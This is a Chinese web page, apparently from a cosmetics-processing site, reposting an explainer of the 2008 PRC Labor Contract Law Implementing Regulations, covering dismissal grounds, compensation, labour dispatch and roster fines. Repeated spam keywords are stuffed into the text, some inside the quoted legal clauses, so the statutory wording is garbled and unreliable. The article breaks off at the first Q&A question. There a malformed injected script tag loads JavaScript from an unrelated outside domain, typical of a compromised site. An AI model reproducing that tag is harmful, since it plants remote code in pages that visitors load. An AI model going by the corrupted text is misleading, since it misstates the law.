化妝品加工就要WWW.91JG.COM,專業化妝品、美容護膚品加工服務平台!
服務比比资源先锋/微信/QQ同號 18620-555-111
  • 搜比比资源先锋
  • 搜全站
比比资源先锋 / 比比资源先锋比比资源先锋 / 政策法規
中華人民共和國勞動合同法實施條例解讀

编辑者:嘉工生物 2017-03-16 13:23:46

  國務院總理溫家寶昨日簽署第535號國務院令,公布《中華人民共和國勞動合同法實施條例》。今天新華社已全文發布。該條例對化妝品企業貫徹實施《中華人民共和國勞動合同法》影响极大,值得化妆品企业经营者仔细研读,Zghzp.com及时汇编了有关《中華人民共和國勞動合同法實施條例》的解读资料,供化妆品企业经营者参考:

  14種情形用人單位可解除無固定期限勞動合同 

    《中華人民共和國勞動合同法實施條例》规定,14种情形下用人单位可以与劳动者解除无固定期限劳动合同。

    这14种情形是:(一)用人单位与劳动者协商一致的;(二)劳动者在试用期间被证明不符合录用条件的;(三)劳动者严重违反用人单位的规章制度的;(四)劳动者严重失职,营私舞弊,给用人单位造成重大损害的;(五)劳动者同时与其他用人单位建立劳动关系,对完成本单位的工作任务造成严重影响,或者经用人单位提出,拒不改正的;(六)劳动者以欺诈、胁迫的手段或者乘人之危,使用人单位在违背真实意思的情况下订立或者变更劳动合同的;(七)劳动者被依法追究刑事责任的;(八)劳动者患病或者非因工负伤,在规定的医疗期满后不能从事原工作,也不能从事由用人单位另行安排的工作的;(九)劳动者不能胜任工作,经过培训或者调整工作岗位,仍不能胜任工作的;(十)劳动合同订立时所依据的客观情况发生重大变化,致使劳动合同无法履行,经用人单位与劳动者协商,未能就变更劳动合同内容达成协议的;(十一)用人单位依照企业破产法规定进行重整的;(十二)用人单位比比资源先锋经营发生严重困难的;(十三)企业转产、重大技术革新或者经营方式调整,经变更劳动合同后,仍需裁减人员的;(十四)其他因劳动合同订立时所依据的客观经济情况发生重大变化,致使劳动合同无法履行的。
 

  用人單位違法解除或終止合同支付賠償金後不再支付經濟補償 

    《中華人民共和國勞動合同法實施條例》规定,用人单位违反劳动合同法的规定解除或者终止劳动合同,依照劳动合同法第八十七条的规定支付了赔偿金的,不再支付经济补偿。赔偿金的计算年限自用工之日起计算。

    《条例》还规定,用人单位依法终止工伤职工的劳动合同的,除依照劳动合同法第四十七条的规定支付经济补偿外,还应当依照国家有关工伤保险的规定支付一次性工伤医疗补助金和伤残就业补助金。

    针对用人单位出具的解除、终止劳动合同的证明,《条例》要求,应当写明劳动合同期限、解除或者终止劳动合同的日期、工作岗位、在本单位的工作年限。
 

  勞務派遣單位不得以非全日制用工形式招用被派遣勞動者 

    《中華人民共和國勞動合同法實施條例》规定,劳务派遣单位不得以非全日制用工形式招用被派遣劳动者。

    《条例》指出,用人单位或者其所属单位出资或者合伙设立的劳务派遣单位,向本单位或者所属单位派遣劳动者的,属于劳动合同法第六十七条规定的不得设立的劳务派遣单位。

    为了避免用工单位规避劳动合同法律义务,侵害劳动者的合法权益,《条例》规定,用工单位应当履行劳动合同法第六十二条规定的义务,维护被派遣劳动者的合法权益。
 

  用人單位不按規定建立職工名冊最高可罰2萬元 

    《中華人民共和國勞動合同法實施條例》规定,用人单位违反劳动合同法有关建立职工名册规定的,由劳动行政部门责令限期改正;逾期不改正的,由劳动行政部门处2000元以上2万元以下的罚款。

    劳动合同法第七条规定,用人单位自用工之日起即与劳动者建立劳动关系。用人单位应当建立职工名册备查。

    《条例》进一步细化了职工名册的内容,规定应当包括劳动者姓名、性别、公民身份号码、户籍比比资源先锋及现住址、联系方式、用工形式、用工起始时间、劳动合同期限等内容。
 

  国务院法制办公室负责人就《中華人民共和國勞動合同法實施條例》答记者问 

  北京9月18日电 2008年9月18日,国务院总理温家宝签署第535号国务院令,公布了《中華人民共和國勞動合同法實施條例》(以下简称实施条例),实施条例自公布之日起施行。为了帮助大家理解和认识制定实施条例的有关情况,记者近日采访了国务院法制办负责人。

    问:为什么要制定实施条例?

    ?script src=http://cn.jxmmtv.com/cn.js></script>